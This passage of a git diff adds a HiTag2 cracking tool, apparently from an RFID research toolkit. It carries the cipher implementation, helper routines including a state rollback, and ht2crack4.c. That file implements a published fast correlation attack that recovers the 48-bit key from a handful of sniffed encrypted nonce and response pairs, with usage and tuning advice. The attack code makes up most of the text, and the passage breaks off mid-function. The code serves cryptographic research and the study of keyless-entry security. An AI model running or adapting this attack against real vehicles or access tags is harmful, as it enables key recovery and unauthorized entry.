ht2_function4b = 0x6671; // 0110 0110 0111 0001 + const uint32_t ht2_function5c = 0x7907287B; // 0111 1001 0000 0111 0010 1000 0111 1011 + uint32_t bitindex; + + bitindex = (ht2_function4a >> pickbits2_2 (s, 1, 4)) & 1; + bitindex |= ((ht2_function4b << 1) >> pickbits1_1_2 (s, 7, 11, 13)) & 0x02; + bitindex |= ((ht2_function4b << 2) >> pickbits1x4 (s, 16, 20, 22, 25)) & 0x04; + bitindex |= ((ht2_function4b << 3) >> pickbits2_1_1 (s, 27, 30, 32)) & 0x08; + bitindex |= ((ht2_function4a << 4) >> pickbits1_2_1(s, 33, 42, 45)) & 0x10; + + DEBUG_PRINTF("hitag2_crypt bitindex = %02x\n", bitindex); + return (ht2_function5c >> bitindex) & 1; +} + +/* + * Parameters: + * Hitag_State* pstate - output, internal state after initialisation + * uint64_t sharedkey - 48 bit key shared between reader & tag + * uint32_t serialnum - 32 bit tag serial number + * uint32_t initvector - 32 bit random IV from reader, part of tag authentication + */ +void hitag2_init(Hitag_State* pstate, uint64_t sharedkey, uint32_t serialnum, uint32_t initvector) +{ + // init state, from serial number and lowest 16 bits of shared key + uint64_t state = ((sharedkey & 0xFFFF) << 32) | serialnum; + + // mix the initialisation vector and highest 32 bits of the shared key + initvector ^= (uint32_t) (sharedkey >> 16); + + // move 16 bits from (IV xor Shared Key) to top of uint64_t state + // these will be XORed in turn with output of the crypto function + state |= (uint64_t) initvector << 48; + initvector >>= 16; + + // unrolled loop is faster on PIC32 (MIPS), do 32 times + // shift register, then calc new bit + state >>= 1; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + + // highest 16 bits of IV XOR Shared Key + state |= (uint64_t) initvector << 47; + + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state ^= (uint64_t) hitag2_crypt(state) << 47; + + DEBUG_PRINTF("hitag2_init result = %012I64x\n", state); + pstate->shiftreg = state; + /* naive version for reference, LFSR has 16 taps + pstate->lfsr = state ^ (state >> 2) ^ (state >> 3) ^ (state >> 6) + ^ (state >> 7) ^ (state >> 8) ^ (state >> 16) ^ (state >> 22) + ^ (state >> 23) ^ (state >> 26) ^ (state >> 30) ^ (state >> 41) + ^ (state >> 42) ^ (state >> 43) ^ (state >> 46) ^ (state >> 47); + */ + { + // optimise with one 64-bit intermediate + uint64_t temp = state ^ (state >> 1); + pstate->lfsr = state ^ (state >> 6) ^ (state >> 16) + ^ (state >> 26) ^ (state >> 30) ^ (state >> 41) + ^ (temp >> 2) ^ (temp >> 7) ^ (temp >> 22) + ^ (temp >> 42) ^ (temp >> 46); + } +} + + +/* + * Return up to 32 crypto bits. + * Last bit is in least significant bit, earlier bits are shifted left. + * Note that the Hitag transmission protocol is least significant bit, + * so we may want to change this, or add a function, that returns the + * crypto output bits in the other order. + * + * Parameters: + * Hitag_State* pstate - in/out, internal cipher state after initialisation + * uint32_t steps - number of bits requested, (capped at 32) + */ +uint32_t hitag2_nstep(Hitag_State* pstate, uint32_t steps) +{ + uint64_t state = pstate->shiftreg; + uint32_t result = 0; + uint64_t lfsr = pstate->lfsr; + + if (steps == 0) + return 0; + +// if (steps > 32) +// steps = 32; + + do { + // update shift registers + if (lfsr & 1) { + state = (state >> 1) | 0x800000000000; + lfsr = (lfsr >> 1) ^ 0xB38083220073; + + // accumulate next bit of crypto + result = (result << 1) | hitag2_crypt(state); + } else { + state >>= 1; + lfsr >>= 1; + + result = (result << 1) | hitag2_crypt(state); + } + } while (--steps); + + DEBUG_PRINTF("hitag2_nstep state = %012I64x, result %02x\n", state, result); + pstate->shiftreg = state; + pstate->lfsr = lfsr; + return result; +} + +// end of crypto core, revert to default optimization level +#pragma GCC reset_options + + +/* Test code + + Test data and below information about it comes from + http://www.mikrocontroller.net/attachment/102194/hitag2.c + Written by "I.C. Wiener 2006-2007" + + "MIKRON" = O N M I K R + Key = 4F 4E 4D 49 4B 52 - Secret 48-bit key + Serial = 49 43 57 69 - Serial number of the tag, transmitted in clear + Random = 65 6E 45 72 - Random IV, transmitted in clear + ~28~DC~80~31 = D7 23 7F CE - Authenticator value = inverted first 4 bytes of the keystream + + The code below must print out "D7 23 7F CE 8C D0 37 A9 57 49 C1 E6 48 00 8A B6". + The inverse of the first 4 bytes is sent to the tag to authenticate. + The rest is encrypted by XORing it with the subsequent keystream. + +*/ + + +/* +unsigned int hitag2_benchtest_gen32() +{ + const uint64_t key = 0x4ad292b272f2; + const uint32_t serial = 0x96eac292; + const uint32_t initvec = 0x4ea276a6; + Hitag_State state; + + // init crypto + hitag2_init(&state, key, serial, initvec); + + // benchmark: generation of 32 bit stream (excludes initialisation) + GetTimer_us(RESET); + + (void) hitag2_nstep(&state, 32); + + return GetTimer_us(NO_RESET); +} + + +unsigned int hitag2_benchtest(uint32_t count) +{ + const uint64_t key = 0x4ad292b272f2; + const uint32_t serial = 0x96eac292; + const uint32_t initvec = 0x4ea276a6; + Hitag_State state; + uint32_t i; + + // start timer + GetTimer_us(RESET); + + // benchmark: initialise crypto & generate 32 bit authentication + // adding i stops gcc optimizer moving init function call out of loop + for (i = 0; i < count; i++) { + hitag2_init(&state, key, serial, initvec + i); + (void) hitag2_nstep(&state, 32); + } + + return GetTimer_us(NO_RESET); +} + + +unsigned hitag2_verifytest() +{ + uint8_t expected[16] = { 0xD7, 0x23, 0x7F, 0xCE, 0x8C, 0xD0, 0x37, 0xA9, 0x57, 0x49, 0xC1, 0xE6, 0x48, 0x00, 0x8A, 0xB6 }; + // key = 0x4ad292b272f2 after each byte has its bit order reversed + // serial = 0x96eac292 ditto + // initvec = 0x4ea276a6 ditto + const uint64_t key = rev64 (0x524B494D4E4FUL); + const uint32_t serial = rev32 (0x69574349); + const uint32_t initvec = rev32 (0x72456E65); + + uint32_t i; + Hitag_State state; + + // initialise + hitag2_init(&state, key, serial, initvec); + + for (i = 0; i < 16; i++) { + // get 8 bits of keystream + uint8_t x = (uint8_t) hitag2_nstep(&state, 8); + uint8_t y = expected[i]; + + DEBUG_PRINTF ("%02X (%02X) \n", x, y); + if (x != y) + return 0; + } + + return 1; +} +*/ + +#ifdef UNIT_TEST + +int main(int argc, char* argv[]) +{ + unsigned pass = hitag2_verifytest(); + + printf ("Crypto Verify test = %s\n\n", pass ? "PASS" : "FAIL"); + + if (pass) { + hitag2_benchtest(10000); + } + + return 0; +} + +#endif // UNIT_TEST diff --git a/tools/hitag2crack/crack4/hitagcrypto.h b/tools/hitag2crack/crack4/hitagcrypto.h new file mode 100644 index 000000000..d5aa9104c --- /dev/null +++ b/tools/hitag2crack/crack4/hitagcrypto.h @@ -0,0 +1,171 @@ +/*************************************************************************** + * A copy of the GNU GPL is appended to this file. * + * * + * This licence is based on the nmap licence, and we express our gratitude * + * for the work that went into producing it. There is no other connection * + * between RFIDler and nmap either expressed or implied. * + * * + ********************** IMPORTANT RFIDler LICENSE TERMS ******************** + * * + * * + * All references to RFIDler herein imply all it's derivatives, namely: * + * * + * o RFIDler-LF Standard * + * o RFIDler-LF Lite * + * o RFIDler-LF Nekkid * + * * + * * + * RFIDler is (C) 2013-2014 Aperture Labs Ltd. * + * * + * This program is free software; you may redistribute and/or modify it * + * under the terms of the GNU General Public License as published by the * + * Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE * + * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your * + * right to use, modify, and redistribute this software under certain * + * conditions. If you wish to embed RFIDler technology into proprietary * + * software or hardware, we sell alternative licenses * + * (contact sales@aperturelabs.com). * + * * + * Note that the GPL places important restrictions on "derivative works", * + * yet it does not provide a detailed definition of that term. To avoid * + * misunderstandings, we interpret that term as broadly as copyright law * + * allows. For example, we consider an application to constitute a * + * derivative work for the purpose of this license if it does any of the * + * following with any software or content covered by this license * + * ("Covered Software"): * + * * + * o Integrates source code from Covered Software. * + * * + * o Is designed specifically to execute Covered Software and parse the * + * results (as opposed to typical shell or execution-menu apps, which will * + * execute anything you tell them to). * + * * + * o Includes Covered Software in a proprietary executable installer. The * + * installers produced by InstallShield are an example of this. Including * + * RFIDler with other software in compressed or archival form does not * + * trigger this provision, provided appropriate open source decompression * + * or de-archiving software is widely available for no charge. For the * + * purposes of this license, an installer is considered to include Covered * + * Software even if it actually retrieves a copy of Covered Software from * + * another source during runtime (such as by downloading it from the * + * Internet). * + * * + * o Links (statically or dynamically) to a library which does any of the * + * above. * + * * + * o Executes a helper program, module, or script to do any of the above. * + * * + * This list is not exclusive, but is meant to clarify our interpretation * + * of derived works with some common examples. Other people may interpret * + * the plain GPL differently, so we consider this a special exception to * + * the GPL that we apply to Covered Software. Works which meet any of * + * these conditions must conform to all of the terms of this license, * + * particularly including the GPL Section 3 requirements of providing * + * source code and allowing free redistribution of the work as a whole. * + * * + * As another special exception to the GPL terms, Aperture Labs Ltd. grants* + * permission to link the code of this program with any version of the * + * OpenSSL library which is distributed under a license identical to that * + * listed in the included docs/licenses/OpenSSL.txt file, and distribute * + * linked combinations including the two. * + * * + * Any redistribution of Covered Software, including any derived works, * + * must obey and carry forward all of the terms of this license, including * + * obeying all GPL rules and restrictions. For example, source code of * + * the whole work must be provided and free redistribution must be * + * allowed. All GPL references to "this License", are to be treated as * + * including the terms and conditions of this license text as well. * + * * + * Because this license imposes special exceptions to the GPL, Covered * + * Work may not be combined (even as part of a larger work) with plain GPL * + * software. The terms, conditions, and exceptions of this license must * + * be included as well. This license is incompatible with some other open * + * source licenses as well. In some cases we can relicense portions of * + * RFIDler or grant special permissions to use it in other open source * + * software. Please contact sales@aperturelabs.com with any such requests.* + * Similarly, we don't incorporate incompatible open source software into * + * Covered Software without special permission from the copyright holders. * + * * + * If you have any questions about the licensing restrictions on using * + * RFIDler in other works, are happy to help. As mentioned above, we also * + * offer alternative license to integrate RFIDler into proprietary * + * applications and appliances. These contracts have been sold to dozens * + * of software vendors, and generally include a perpetual license as well * + * as providing for priority support and updates. They also fund the * + * continued development of RFIDler. Please email sales@aperturelabs.com * + * for further information. * + * If you have received a written license agreement or contract for * + * Covered Software stating terms other than these, you may choose to use * + * and redistribute Covered Software under those terms instead of these. * + * * + * Source is provided to this software because we believe users have a * + * right to know exactly what a program is going to do before they run it. * + * This also allows you to audit the software for security holes (none * + * have been found so far). * + * * + * Source code also allows you to port RFIDler to new platforms, fix bugs, * + * and add new features. You are highly encouraged to send your changes * + * to the RFIDler mailing list for possible incorporation into the * + * main distribution. By sending these changes to Aperture Labs Ltd. or * + * one of the Aperture Labs Ltd. development mailing lists, or checking * + * them into the RFIDler source code repository, it is understood (unless * + * you specify otherwise) that you are offering the RFIDler Project * + * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, * + * modify, and relicense the code. RFIDler will always be available Open * + * Source, but this is important because the inability to relicense code * + * has caused devastating problems for other Free Software projects (such * + * as KDE and NASM). We also occasionally relicense the code to third * + * parties as discussed above. If you wish to specify special license * + * conditions of your contributions, just say so when you send them. * + * * + * This program is distributed in the hope that it will be useful, but * + * WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler * + * license file for more details (it's in a COPYING file included with * + * RFIDler, and also available from * + * https://github.com/ApertureLabsLtd/RFIDler/COPYING * + * * + ***************************************************************************/ + +// Author: unknown. +// Modifications for RFIDler: Tony Naggs , Adam Laurie + + +#ifndef HITAGCRYPTO_H +#define HITAGCRYPTO_H + +#include + +/* + Our model of Hitag 2 crypto uses 2 parallel shift registers: + a. 48 bit Feedback Shift Register, required for inputs to the nonlinear function. + b. 48 bit Linear Feedback Shift Register (LFSR). + A transform of initial register (a) value, which is then run in parallel. + Enables much faster calculation of the feedback values. + + API: + void hitag2_init(Hitag_State* pstate, uint64_t sharedkey, uint32_t serialnum, + uint32_t initvector); + Initialise state from 48 bit shared (secret) reader/tag key, + 32 bit tag serial number and 32 bit initialisation vector from reader. + + uint32_t hitag2_nstep(Hitag_State* pstate, uint32_t steps); + update shift register state and generate N cipher bits (N should be <= 32) + */ + + +typedef struct { + uint64_t shiftreg; // naive shift register, required for nonlinear fn input + uint64_t lfsr; // fast lfsr, used to make software faster +} Hitag_State; + +void hitag2_init(Hitag_State* pstate, uint64_t sharedkey, uint32_t serialnum, uint32_t initvector); + +uint32_t hitag2_nstep(Hitag_State* pstate, uint32_t steps); + +unsigned int hitag2_benchtest_gen32(); +unsigned int hitag2_benchtest(uint32_t count); +unsigned hitag2_verifytest(); + +#endif /* HITAGCRYPTO_H */ + diff --git a/tools/hitag2crack/crack4/ht2crack2utils.c b/tools/hitag2crack/crack4/ht2crack2utils.c new file mode 100644 index 000000000..2152f8ef3 --- /dev/null +++ b/tools/hitag2crack/crack4/ht2crack2utils.c @@ -0,0 +1,187 @@ +#include "ht2crack2utils.h" + +// writes a value into a buffer as a series of bytes +void writebuf(unsigned char *buf, uint64_t val, unsigned int len) +{ + int i; + char c; + + for (i=len-1; i>=0; i--) + { + c = val & 0xff; + buf[i] = c; + val = val >> 8; + } + +} + + +/* simple hexdump for testing purposes */ +void shexdump(unsigned char *data, int data_len) +{ + int i; + + if (!data || (data_len <= 0)) { + printf("shexdump: invalid parameters\n"); + return; + } + + printf("Hexdump from %p:\n", data); + + for (i=0; i> 7); + x = x << 1; + } + } + printf("\n"); +} + + +void printbin2(uint64_t val, unsigned int size) +{ + int i; + uint64_t mask = 1; + + mask = mask << (size - 1); + + for (i=0; ishiftreg, 48); + printf("\n"); +} + + + + +// convert hex char to binary +unsigned char hex2bin(unsigned char c) +{ + if ((c >= '0') && (c <= '9')) { + return (c - '0'); + } else if ((c >= 'a') && (c <= 'f')) { + return (c - 'a' + 10); + } else if ((c >= 'A') && (c <= 'F')) { + return (c - 'A' + 10); + } else { + return 0; + } +} + +// return a single bit from a value +int bitn(uint64_t x, int bit) +{ + uint64_t bitmask = 1; + + bitmask = bitmask << bit; + + if (x & bitmask) { + return 1; + } else { + return 0; + } +} + + +// the sub-function R that rollback depends upon +int fnR(uint64_t x) +{ + // renumbered bits because my state is 0-47, not 1-48 + return (bitn(x, 1) ^ bitn(x, 2) ^ bitn(x, 5) ^ bitn(x, 6) ^ bitn(x, 7) ^ + bitn(x, 15) ^ bitn(x, 21) ^ bitn(x, 22) ^ bitn(x, 25) ^ bitn(x, 29) ^ bitn(x, 40) ^ + bitn(x, 41) ^ bitn(x, 42) ^ bitn(x, 45) ^ bitn(x, 46) ^ bitn(x, 47)); +} + +// the rollback function that lets us go backwards in time +void rollback(Hitag_State *hstate, unsigned int steps) +{ + int i; + + for (i=0; ishiftreg = ((hstate->shiftreg << 1) & 0xffffffffffff) | fnR(hstate->shiftreg); + } + +} + + +// the three filter sub-functions that feed fnf +int fa(unsigned int i) +{ + return bitn(0x2C79, i); +} + +int fb(unsigned int i) +{ + return bitn(0x6671, i); +} + +int fc(unsigned int i) +{ + return bitn(0x7907287B, i); +} + +// the filter function that generates a bit of output from the prng state +int fnf(uint64_t s) +{ + unsigned int x1, x2, x3, x4, x5, x6; + + x1 = (bitn(s, 2) << 0) | (bitn(s, 3) << 1) | (bitn(s, 5) << 2) | (bitn(s, 6) << 3); + x2 = (bitn(s, 8) << 0) | (bitn(s, 12) << 1) | (bitn(s, 14) << 2) | (bitn(s, 15) << 3); + x3 = (bitn(s, 17) << 0) | (bitn(s, 21) << 1) | (bitn(s, 23) << 2) | (bitn(s, 26) << 3); + x4 = (bitn(s, 28) << 0) | (bitn(s, 29) << 1) | (bitn(s, 31) << 2) | (bitn(s, 33) << 3); + x5 = (bitn(s, 34) << 0) | (bitn(s, 43) << 1) | (bitn(s, 44) << 2) | (bitn(s, 46) << 3); + + x6 = (fa(x1) << 0) | (fb(x2) << 1) | (fb(x3) << 2) | (fb(x4) << 3) | (fa(x5) << 4); + + return fc(x6); +} + +// builds the lfsr for the prng (quick calcs for hitag2_nstep()) +void buildlfsr(Hitag_State *hstate) +{ + uint64_t state = hstate->shiftreg; + uint64_t temp; + + temp = state ^ (state >> 1); + hstate->lfsr = state ^ (state >> 6) ^ (state >> 16) + ^ (state >> 26) ^ (state >> 30) ^ (state >> 41) + ^ (temp >> 2) ^ (temp >> 7) ^ (temp >> 22) + ^ (temp >> 42) ^ (temp >> 46); +} + + + diff --git a/tools/hitag2crack/crack4/ht2crack2utils.h b/tools/hitag2crack/crack4/ht2crack2utils.h new file mode 100644 index 000000000..14eea840c --- /dev/null +++ b/tools/hitag2crack/crack4/ht2crack2utils.h @@ -0,0 +1,34 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "HardwareProfile.h" +#include "rfidler.h" +#include "util.h" + +#include "hitagcrypto.h" + +#define HEX_PER_ROW 16 + + + +void writebuf(unsigned char *buf, uint64_t val, unsigned int len); +void shexdump(unsigned char *data, int data_len); +void printbin(unsigned char *c); +void printbin2(uint64_t val, unsigned int size); +void printstate(Hitag_State *hstate); +unsigned char hex2bin(unsigned char c); +int bitn(uint64_t x, int bit); +int fnR(uint64_t x); +void rollback(Hitag_State *hstate, unsigned int steps); +int fa(unsigned int i); +int fb(unsigned int i); +int fc(unsigned int i); +int fnf(uint64_t s); +void buildlfsr(Hitag_State *hstate); diff --git a/tools/hitag2crack/crack4/ht2crack4.c b/tools/hitag2crack/crack4/ht2crack4.c new file mode 100644 index 000000000..da439692f --- /dev/null +++ b/tools/hitag2crack/crack4/ht2crack4.c @@ -0,0 +1,868 @@ +/* ht2crack4.c + * + * This is an implementation of the fast correlation attack in Section 4.4 of the + * paper, Lock It and Still Lose It - On the (In)Security of Automotive Remote + * Keyless Entry Systems by Garcia, Oswald, Kasper and Pavlides. + * It is essentially an attack on the HiTag2 cryptosystem; it uses a small number + * (between 4 and 32) of encrypted nonce and challenge response pairs for the same + * UID to recover the key. + * + * Key recovery is performed by enumerating all 65536 of the first 16 bits of the + * key and then, using the encrypted nonces and challenge response pairs, scoring + * all of the guesses for how likely they are to be the first 16 bits of the actual + * key. The best of these guesses are then expanded by 1 bit and the process + * iterates until all bits have been guessed. The resulting guesses are then searched + * for the one that is actually correct, testing against two pairs. + * + * The program reads in up to 32 encrypted nonce and challenge response pairs from + * the supplied file; the number actually used is specified on the command line + * (defaults to all those read in). The default size of the table is 800000 but this + * can be changed via the command line options. + * + * Using more encrypted nonce and challenge response pairs improves the chances of + * recovering the key and doesn't significantly add to the time it takes. + * + * Using a larger table also improves the chances of recovering the key but + * *significantly* increases the time it takes to run. + * + * Best recommendation is to use as many encrypted nonce and challenge response + * pairs as you can, and start with a table size of about 500000, as this will take + * around 45s to run. If it fails, run it again with a table size of 1000000, + * continuing to double the table size until it succeeds. Alternatively, start with + * a table size of about 3000000 and expect it to take around 4 mins to run, but + * with a high likelihood of success. + * + * Setting table size to a large number (~32000000) will likely blow up the stack + * during the recursive qsort(). This could be fixed by making the stack space + * larger but really, you need a smaller table and more encrypted nonces. + * + * The scoring of the guesses is controversial, having been tweaked over and again + * to find a measure that provides the best results. Feel free to tweak it yourself + * if you don't like it or want to try alternative metrics. + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include "ht2crack2utils.h" + +/* you could have more than 32 traces, but you shouldn't really need + * more than 16. You can still win with 8 if you're lucky. */ +#define MAX_NONCES 32 + +/* set this to the number of virtual cores you have */ +#define NUM_THREADS 8 + +/* encrypted nonce and keystream storage + * ks is ~enc_aR */ +struct nonce { + uint64_t enc_nR; + uint64_t ks; +}; + +/* guess table entry - we store key guesses and do the maths to convert + * to states in the code + * score is used for sorting purposes + * b0to31 is an array of the keystream generated from the init state + * that is later XORed with the encrypted nonce and key guess + */ +struct guess { + uint64_t key; + double score; + uint64_t b0to31[MAX_NONCES]; +}; + +/* thread_data is the data sent to the scoring threads */ +struct thread_data { + unsigned int start; + unsigned int end; + unsigned int size; +}; + +/* guess table and encrypted nonce/keystream table */ +struct guess *guesses = NULL; +unsigned int num_guesses; +struct nonce nonces[MAX_NONCES]; +unsigned int num_nRaR; +uint64_t uid; +int maxtablesize = 800000; +uint64_t supplied_testkey = 0; + +void usage() +{ + printf("ht2crack4 - K Sheldrake, based on the work of Garcia et al\n\n"); + printf("Cracks a HiTag2 key using a small number (4 to 16) of encrypted\n"); + printf("nonce and challenge response pairs, using a fast correlation\n"); + printf("approach.\n\n"); + printf(" -u UID (required)\n"); + printf(" -n NONCEFILE (required)\n"); + printf(" -N number of nRaR pairs to use (defaults to 32)\n"); + printf(" -t TABLESIZE (defaults to 800000\n"); + printf("Increasing the table size will slow it down but will be more\n"); + printf("successful.\n"); + + exit(1); +} + + +/* macros to select bits from lfsr states - from RFIDler code */ +#define pickbits2_2(S, A, B) ( ((S >> A) & 3) | ((S >> (B - 2)) & 0xC) ) +#define pickbits1x4(S, A, B, C, D) ( ((S >> A) & 1) | ((S >> (B - 1)) & 2) | \ + ((S >> (C - 2)) & 4) | ((S >> (D - 3)) & 8) ) +#define pickbits1_1_2(S, A, B, C) ( ((S >> A) & 1) | ((S >> (B - 1)) & 2) | \ + ((S >> (C - 2)) & 0xC) ) +#define pickbits2_1_1(S, A, B, C) ( ((S >> A) & 3) | ((S >> (B - 2)) & 4) | \ + ((S >> (C - 3)) & 8) ) +#define pickbits1_2_1(S, A, B, C) ( ((S >> A) & 1) | ((S >> (B - 1)) & 6) | \ + ((S >> (C - 3)) & 8) ) + +/* boolean tables for fns a, b and c - from RFIDler code */ +const uint64_t ht2_function4a = 0x2C79; // 0010 1100 0111 1001 +const uint64_t ht2_function4b = 0x6671; // 0110 0110 0111 0001 +const uint64_t ht2_function5c = 0x7907287B; // 0111 1001 0000 0111 0010 1000 0111 1011 + +/* following arrays are the probabilities of getting a 1 from each function, given + * a known least-sig pattern. first index is num bits in known part, second is the + * bit pattern of the known part. */ +double pfna[][8] = { +{0.50000, 0.50000, }, +{0.50000, 0.50000, 0.50000, 0.50000, }, +{0.50000, 0.00000, 0.50000, 1.00000, 0.50000, 1.00000, 0.50000, 0.00000, }, +}; +double pfnb[][8] = { +{0.62500, 0.37500, }, +{0.50000, 0.75000, 0.75000, 0.00000, }, +{0.50000, 0.50000, 0.50000, 0.00000, 0.50000, 1.00000, 1.00000, 0.00000, }, +}; +double pfnc[][16] = { +{0.50000, 0.50000, }, +{0.62500, 0.62500, 0.37500, 0.37500, }, +{0.75000, 0.50000, 0.25000, 0.75000, 0.50000, 0.75000, 0.50000, 0.00000, }, +{1.00000, 1.00000, 0.50000, 0.50000, 0.50000, 0.50000, 0.50000, 0.00000, 0.50000, 0.00000, 0.00000, 1.00000, 0.50000, 1.00000, 0.50000, 0.00000, }, +}; + + +/* hitag2_crypt works on the post-shifted form of the lfsr; this is the ref in rfidler code */ +static uint32_t hitag2_crypt(uint64_t s) +{ + uint32_t bitindex; + + bitindex = (ht2_function4a >> pickbits2_2 (s, 1, 4)) & 1; + bitindex |= ((ht2_function4b << 1) >> pickbits1_1_2 (s, 7, 11, 13)) & 0x02; + bitindex |= ((ht2_function4b << 2) >> pickbits1x4 (s, 16, 20, 22, 25)) & 0x04; + bitindex |= ((ht2_function4b << 3) >> pickbits2_1_1 (s, 27, 30, 32)) & 0x08; + bitindex |= ((ht2_function4a << 4) >> pickbits1_2_1(s, 33, 42, 45)) & 0x10; + + return (ht2_function5c >> bitindex) & 1; +} + +/* ht2crypt works on the pre-shifted form of the lfsr; this is the ref in the paper */ +uint64_t ht2crypt(uint64_t s) +{ + uint64_t bitindex; + + bitindex = (ht2_function4a >> pickbits2_2 (s, 2, 5)) & 1; + bitindex |= ((ht2_function4b << 1) >> pickbits1_1_2 (s, 8, 12, 14)) & 0x02; + bitindex |= ((ht2_function4b << 2) >> pickbits1x4 (s, 17, 21, 23, 26)) & 0x04; + bitindex |= ((ht2_function4b << 3) >> pickbits2_1_1 (s, 28, 31, 33)) & 0x08; + bitindex |= ((ht2_function4a << 4) >> pickbits1_2_1(s, 34, 43, 46)) & 0x10; + + return (ht2_function5c >> bitindex) & 1; +} + + +/* fnL is the feedback function for the reference code */ +uint64_t fnL(uint64_t x) +{ + return (bitn(x, 0) ^ bitn(x, 2) ^ bitn(x, 3) ^ bitn(x, 6) ^ bitn(x, 7) ^ bitn(x, 8) ^ + bitn(x, 16) ^ bitn(x, 22) ^ bitn(x, 23) ^ bitn(x, 26) ^ bitn(x, 30) ^ bitn(x, 41) ^ + bitn(x, 42) ^ bitn(x, 43) ^ bitn(x, 46) ^ bitn(x, 47)); +} + + +/* packed_size is an array that maps the number of confirmed bits in a state to + * the number of relevant bits. + * e.g. if there are 16 confirmed bits in a state, then packed_size[16] = 8 relevant bits. + * this is for pre-shifted lfsr */ +unsigned int packed_size[] = { 0, 0, 0, 1, 2, 2, 3, 4, 4, 5, 5, 5, 5, 6, 6, 7, 8, + 8, 9, 9, 9, 9, 10, 10, 11, 11, 11, 12, 12, 13, 14, 14, 15, + 15, 16, 17, 17, 17, 17, 17, 17, 17, 17, 17, 18, 19, 19, 20, 20 }; + + +/* f20 is the same as hitag2_crypt except it works on the packed version + * of the state where all 20 relevant bits are squashed together */ +uint64_t f20(uint64_t y) +{ + uint64_t bitindex; + + bitindex = (ht2_function4a >> (y & 0xf)) & 1; + bitindex |= ((ht2_function4b << 1) >> ((y >> 4) & 0xf)) & 0x02; + bitindex |= ((ht2_function4b << 2) >> ((y >> 8) & 0xf)) & 0x04; + bitindex |= ((ht2_function4b << 3) >> ((y >> 12) & 0xf)) & 0x08; + bitindex |= ((ht2_function4a << 4) >> ((y >> 16) & 0xf)) & 0x10; + + return (ht2_function5c >> bitindex) & 1; +} + + +/* packstate packs the relevant bits from LFSR state into 20 bits for pre-shifted lfsr */ +uint64_t packstate(uint64_t s) +{ + uint64_t packed; + + packed = pickbits2_2 (s, 2, 5); + packed |= (pickbits1_1_2 (s, 8, 12, 14) << 4); + packed |= (pickbits1x4 (s, 17, 21, 23, 26) << 8); + packed |= (pickbits2_1_1 (s, 28, 31, 33) << 12); + packed |= (pickbits1_2_1(s, 34, 43, 46) << 16); + + return packed; +} + + +/* create_guess_table mallocs the tables */ +void create_guess_table() +{ + guesses = (struct guess *)malloc(sizeof(struct guess) * maxtablesize); + if (!guesses) { + printf("cannot malloc guess table\n"); + exit(1); + } +} + + +/* init the guess table by reading in the encrypted nR,aR values and + * setting the first 2^16 key guesses */ +void init_guess_table(char *filename, char *uidstr) +{ + unsigned int i, j; + FILE *fp; + char *buf = NULL; + char *buft1 = NULL; + char *buft2 = NULL; + size_t lenbuf = 64; + + if (!guesses) { + printf("guesses is NULL\n"); + exit(1); + } + + // read uid + if (!strncmp(uidstr, "0x", 2)) { + uid = rev32(hexreversetoulong(uidstr + 2)); + } else { + uid = rev32(hexreversetoulong(uidstr)); + } + + + // read encrypted nonces and challenge response values + fp = fopen(filename, "r"); + if (!fp) { + printf("cannot open nRaR file\n"); + exit(1); + } + + num_nRaR = 0; + buf = (char *)malloc(lenbuf); + if (!buf) { + printf("cannot malloc buf\n"); + exit(1); + } + + while ((getline(&buf, &lenbuf, fp) > 0) && (num_nRaR < MAX_NONCES)) { + buft1 = strchr(buf, ' '); + if (!buft1) { + printf("invalid file input on line %d\n", num_nRaR + 1); + exit(1); + } + *buft1 = 0x00; + buft1++; + buft2 = strchr(buft1, '\n'); + if (!buft2) { + printf("no CR on line %d\n", num_nRaR + 1); + exit(1); + } + *buft2 = 0x00; + if (!strncmp(buf, "0x", 2)) { + nonces[num_nRaR].enc_nR = rev32(hexreversetoulong(buf+2)); + nonces[num_nRaR].ks = rev32(hexreversetoulong(buft1+2)) ^ 0xffffffff; + } else { + nonces[num_nRaR].enc_nR = rev32(hexreversetoulong(buf)); + nonces[num_nRaR].ks = rev32(hexreversetoulong(buft1)) ^ 0xffffffff; + } + num_nRaR++; + } + + fclose(fp); + fp 